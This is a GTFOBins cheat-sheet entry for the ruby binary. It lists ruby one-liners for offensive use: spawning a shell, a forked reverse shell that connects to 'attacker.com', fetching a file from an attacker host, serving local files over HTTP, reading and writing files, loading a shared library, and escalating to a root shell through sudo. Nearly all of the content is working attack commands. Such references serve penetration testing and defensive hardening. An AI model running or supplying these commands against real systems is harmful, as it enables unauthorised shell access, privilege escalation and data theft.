GTFOBins.github.io/_gtfobins/ruby.md

---
functions:
  execute-interactive:
  - code: ruby -e 'exec "/bin/sh"'
  reverse-shell-interactive:
  - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
    code: |
      export RHOST=attacker.com
      export RPORT=12345
      ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  upload:
  - description: Serve files in the local folder running an HTTP server. This requires
      version 1.9.2 or later.
    code: |
      export LPORT=8888
      ruby -run -e httpd . -p $LPORT
  download:
  - description: Fetch a remote file via HTTP GET request.
    code: |
      export RHOST=attacker.com
      export RPORT=12345
      export RFILE=/file_to_get
      export LFILE=file_to_save
      ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
  file-write:
  - code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("data") }'
  file-read:
  - code: ruby -e 'puts File.read("file_to_read")'
  load-library:
  - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
  sudo-enabled:
  - code: sudo ruby -e 'exec "/bin/sh"'
---